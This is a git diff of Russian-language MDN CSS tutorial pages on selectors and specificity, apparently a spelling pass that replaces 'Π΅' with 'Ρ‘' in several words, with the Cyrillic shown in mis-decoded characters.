+Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Π»ΠΈ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ красныС Π±ΡƒΠΊΠ²Ρ‹:
<table style="border: 2px outset #3366bb; padding: 1em;">
<tbody>
@@ -136,7 +136,7 @@ strong {color:red}</pre>
<div class="tuto_details" id="tutochallenge">
<div class="tuto_type">Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅</div>
-<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚Π΅ объявлСниС подчСркивания ΠΈΠ· ΠΏΡ€Π°Π²ΠΈΠ»Π° для {{ HTMLElement("p") }} Π² ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ для {{ HTMLElement("strong") }}. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ„Π°ΠΉΠ» Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒΒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚Π΅ объявлСниС подчёркивания ΠΈΠ· ΠΏΡ€Π°Π²ΠΈΠ»Π° для {{ HTMLElement("p") }} Π² ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ для {{ HTMLElement("strong") }}. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ„Π°ΠΉΠ» Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒΒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: css">p {color: blue; }
strong {color: red; text-decoration: underline;}
diff --git a/files/ru/conflicting/learn/css/building_blocks/selectors/index.html b/files/ru/conflicting/learn/css/building_blocks/selectors/index.html
index 2454954951..795cc38b8c 100644
--- a/files/ru/conflicting/learn/css/building_blocks/selectors/index.html
+++ b/files/ru/conflicting/learn/css/building_blocks/selectors/index.html
@@ -6,7 +6,7 @@ translation_of_original: Learn/CSS/CSS_properties
original_slug: Learn/CSS/CSS_properties
---
<div class="summary">
-<p>{{Glossary("CSS")}} опрСдСляСт ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π²Π΅Π±-страница. Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° вмСстС с сСлСкторами ΠΈ свойствами для примСнСния стилСй ΠΊ элСмСнтам HTML ΠΈΠ»ΠΈ Π³Ρ€ΡƒΠΏΠΏΠ°ΠΌ элСмСнтов.</p>
+<p>{{Glossary("CSS")}} опрСдСляСт ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π²Π΅Π±-страница. Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° вмСстС с сСлСкторами ΠΈ свойствами для примСнСния стилСй ΠΊ элСмСнтам HTML ΠΈΠ»ΠΈ Π³Ρ€ΡƒΠΏΠΏΠ°ΠΌ элСмСнтов.</p>
</div>
<table class="learn-box standard-table">
diff --git a/files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html b/files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html
index c63d438935..e565ec9839 100644
--- a/files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html
+++ b/files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html
@@ -51,7 +51,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors
<p><code>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <a href="/en-US/docs/Web/HTML/Global_attributes#id" title="en-US/docs/Web/HTML/Global_attributes#id">id</a> Π² элСмСнтС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ элСмСнту. Π­Ρ‚ΠΎ зависит ΠΎΡ‚ вас, ΠΊΠ°ΠΊΠΎΠ΅ имя Π²Ρ‹ Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚Π΅ для ID. Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ΅ имя Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</code></p>
-<p>Π’ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй Π²Π²Π΅Π΄ΠΈΡ‚Π΅ Π·Π½Π°ΠΊ Ρ€Π΅ΡˆΠ΅Ρ‚ΠΊΠΈ ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π΅Π³ΠΎ Π² сСлСкторС.</p>
+<p>Π’ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй Π²Π²Π΅Π΄ΠΈΡ‚Π΅ Π·Π½Π°ΠΊ Ρ€Π΅ΡˆΡ‘Ρ‚ΠΊΠΈ ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π΅Π³ΠΎ Π² сСлСкторС.</p>
<div class="tuto_example">
<div class="tuto_type">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</div>
@@ -91,7 +91,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors
<dt><code>[lang|=es]</code></dt>
<dd>Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ элСмСнты ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ Spanish. Π­Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ "es" ΠΈ "es-MX" Π½ΠΎ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ "eu-ES" (Ρ‡Ρ‚ΠΎ являСтся языком Basque).</dd>
<dt>[title*="example" i]</dt>
- <dd>Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ элСмСнты Π² состав ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ…ΠΎΠ΄ΠΈΡ‚ "example", игнорируя рСгистр. Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ„Π»Π°Π³ "i", этот сСлСктор Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Ρ‚ Π½ΠΈ ΠΎΠ΄ΠΈΠ½ элСмСнт.</dd>
+ <dd>Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ элСмСнты Π² состав ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ…ΠΎΠ΄ΠΈΡ‚ "example", игнорируя рСгистр. Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ„Π»Π°Π³ "i", этот сСлСктор Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π½Π΅ Π½Π°ΠΉΠ΄Ρ‘Ρ‚ Π½ΠΈ ΠΎΠ΄ΠΈΠ½ элСмСнт.</dd>
<dt><code>a[href^="https://"]</code></dt>
<dd>Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всС Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹Π΅ ссылки.</dd>
<dt><code>img[src$=".png"]</code></dt>
@@ -100,7 +100,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors
<h3 id="Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹_псСвдокласса"><span class="short_text" id="result_box" lang="ru"><span>Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹ псСвдокласса</span></span></h3>
-<p><span id="result_box" lang="ru"><span>ПсСвдокласс класса CSS - это ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ Π² сСлСктор, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Π΅Ρ‚ особоС состояниС Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта.</span> <span class="alt-edited">НапримСр {{Cssxref (": hover")}} ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ ΡΡ‚ΠΈΠ»ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°Π²ΠΎΠ΄ΠΈΡ‚ Π½Π° элСмСнт, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ сСлСктором.</span></span></p>
+<p><span id="result_box" lang="ru"><span>ПсСвдокласс класса CSS - это ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ Π² сСлСктор, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Ρ‘Ρ‚ особоС состояниС Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта.</span> <span class="alt-edited">НапримСр {{Cssxref (": hover")}} ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ ΡΡ‚ΠΈΠ»ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°Π²ΠΎΠ΄ΠΈΡ‚ Π½Π° элСмСнт, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ сСлСктором.</span></span></p>
<p><span id="result_box" lang="ru"><span>ПсСвдо-классы вмСстС с псСвдоэлСмСнтами ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΡΡ‚ΠΈΠ»ΡŒ ΠΊ элСмСнту Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΡŽ Π΄Π΅Ρ€Π΅Π²Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Π½ΠΎ ΠΈ ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ внСшним Ρ„Π°ΠΊΡ‚ΠΎΡ€Π°ΠΌ, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ история Π½Π°Π²ΠΈΠ³Π°Ρ‚ΠΎΡ€Π°</span></span> ({{ cssxref(":visited") }}, для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°), <span id="result_box" lang="ru"><span>статус Π΅Π³ΠΎ содСрТимого</span></span> (Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ {{ cssxref(":checked") }} <span id="result_box" lang="ru"><span>Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… элСмСнтах Ρ„ΠΎΡ€ΠΌΡ‹) ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΌΡ‹ΡˆΠΈ </span></span> (Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ {{ cssxref(":hover") }} <span id="result_box" lang="ru"><span> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΡƒΠ·Π½Π°Ρ‚ΡŒ, находится Π»ΠΈ ΠΌΡ‹ΡˆΡŒ Π½Π°Π΄ элСмСнтом ΠΈΠ»ΠΈ Π½Π΅Ρ‚).</span> <span>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ список сСлСкторов, посСтитС</span></span> <a class="external" href="http://www.w3.org/TR/selectors/#selectors" rel="external nofollow" title="CSS3 Selectors working spec">CSS3 БпСцификация Ρ€Π°Π±ΠΎΡ‚Ρ‹ сСлСкторов</a>.</p>
@@ -137,7 +137,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors
<h2 id="Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ_Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ"><span class="short_text" id="result_box" lang="ru"><span>Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ: Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ</span></span></h2>
-<p><span id="result_box" lang="ru"><span>НСсколько ΠΏΡ€Π°Π²ΠΈΠ» ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ сСлСктор, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… соотвСтствуСт ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ элСмСнту.</span> <span>Если свойство Π·Π°Π΄Π°Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΈΠΌ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΠΌ, ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ Π½Π΅ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΈ свойство устанавливаСтся Π² элСмСнтС.</span> <span>Если ΠΊ элСмСнту примСняСтся Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΈ устанавливаСт ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ свойство, Ρ‚ΠΎΠ³Π΄Π° CSS Π΄Π°Π΅Ρ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅</span></span> <a href="/en-US/docs/Web/CSS/Specificity">ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ</a> <span id="result_box" lang="ru"><span>сСлСктор</span><span>.</span> <span>Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€ ID Π±ΠΎΠ»Π΅Π΅ спСцифичСн, Ρ‡Π΅ΠΌ сСлСктор класса, псСвдокласса ΠΈΠ»ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, Π±ΠΎΠ»Π΅Π΅ спСцифичСн, Ρ‡Π΅ΠΌ сСлСктор Ρ‚Π΅Π³ΠΎΠ² ΠΈΠ»ΠΈ псСвдоэлСмСнтов.</span></span></p>
+<p><span id="result_box" lang="ru"><span>НСсколько ΠΏΡ€Π°Π²ΠΈΠ» ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ сСлСктор, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… соотвСтствуСт ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ элСмСнту.</span> <span>Если свойство Π·Π°Π΄Π°Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΈΠΌ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΠΌ, ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ Π½Π΅ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΈ свойство устанавливаСтся Π² элСмСнтС.</span> <span>Если ΠΊ элСмСнту примСняСтся Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΈ устанавливаСт ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ свойство, Ρ‚ΠΎΠ³Π΄Π° CSS Π΄Π°Ρ‘Ρ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅</span></span> <a href="/en-US/docs/Web/CSS/Specificity">ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ</a> <span id="result_box" lang="ru"><span>сСлСктор</span><span>.</span> <span>Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€ ID Π±ΠΎΠ»Π΅Π΅ спСцифичСн, Ρ‡Π΅ΠΌ сСлСктор класса, псСвдокласса ΠΈΠ»ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, Π±ΠΎΠ»Π΅Π΅ спСцифичСн, Ρ‡Π΅ΠΌ сСлСктор Ρ‚Π΅Π³ΠΎΠ² ΠΈΠ»ΠΈ псСвдоэлСмСнтов.</span></span></p>
<div class="tuto_details">
<div class="tuto_type"><span class="short_text" id="result_box" lang="ru"><span>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅</span></span></div>
@@ -145,7 +145,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors
<p><span id="result_box" lang="ru"><span>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сСлСктор, создавая Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ сСлСктор.</span> <span>НапримСр, сСлСктор</span></span> <code>.key</code> <span id="result_box" lang="ru"><span>Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всС элСмСнты, с ΠΊΠ»ΡŽΡ‡ΠΎΠΌ ΠΈΠΌΠ΅Π½ΠΈ класса </span></span><code>key</code>. Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€ <code>p.key</code> ΠΎΡ‚Π±ΠΈΡ€Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ {{ HTMLElement("p") }} элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ имя класса <code>key</code>.</p>
</div>
-<p><span id="result_box" lang="ru"><span>Если Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΡ€Π΅Ρ‡ΠΈΠ²Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΈ ΠΎΠ½ΠΈ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ спСцифичны, Ρ‚ΠΎΠ³Π΄Π° CSS Π΄Π°Π΅Ρ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎΠ·ΠΆΠ΅ находится Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Если Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΡ€Π΅Ρ‡ΠΈΠ²Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΈ ΠΎΠ½ΠΈ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ спСцифичны, Ρ‚ΠΎΠ³Π΄Π° CSS Π΄Π°Ρ‘Ρ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎΠ·ΠΆΠ΅ находится Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй.</span></span></p>
<p><span id="result_box" lang="ru"><span class="alt-edited">Если Ρƒ вас Π²ΠΎΠ·Π½ΠΈΠΊΠ»Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ΡƒΡŽΡ‰ΠΈΠΌΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ это, сдСлав ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΏΡ€Π°Π²ΠΈΠ» Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΎ ΠΈΠΌΠ΅Π»ΠΎ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚.</span> <span class="alt-edited">Если Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ этого ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΏΡ€Π°Π²ΠΈΠ» Π±Π»ΠΈΠΆΠ΅ ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΎ ΠΈΠΌΠ΅Π»ΠΎ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚.</span></span></p>
@@ -174,14 +174,14 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors
</tr>
<tr>
<td><code>B + E</code></td>
- <td>Π›ΡŽΠ±ΠΎΠΉ E элСмСнт, Ρ‡Ρ‚ΠΎ являСтся ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ <em>"Π±Ρ€Π°Ρ‚ΠΎΠΌ"</em> B элСмСнта (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ: ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π±Π΅Π½ΠΎΠΊ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ родитСля)</td>
+ <td>Π›ΡŽΠ±ΠΎΠΉ E элСмСнт, Ρ‡Ρ‚ΠΎ являСтся ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ <em>"Π±Ρ€Π°Ρ‚ΠΎΠΌ"</em> B элСмСнта (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ: ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π±Ρ‘Π½ΠΎΠΊ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ родитСля)</td>
</tr>
</tbody>
</table>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… для выраТСния слоТных ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΉ.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ символ <code>*</code> (Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠ°), Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅Ρ‚ "любой элСмСнт".</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ символ <code>*</code> (Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ°), Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅Ρ‚ "любой элСмСнт".</p>
<div class="tuto_example">
<div class="tuto_type">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</div>
@@ -198,7 +198,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors
...
</pre>
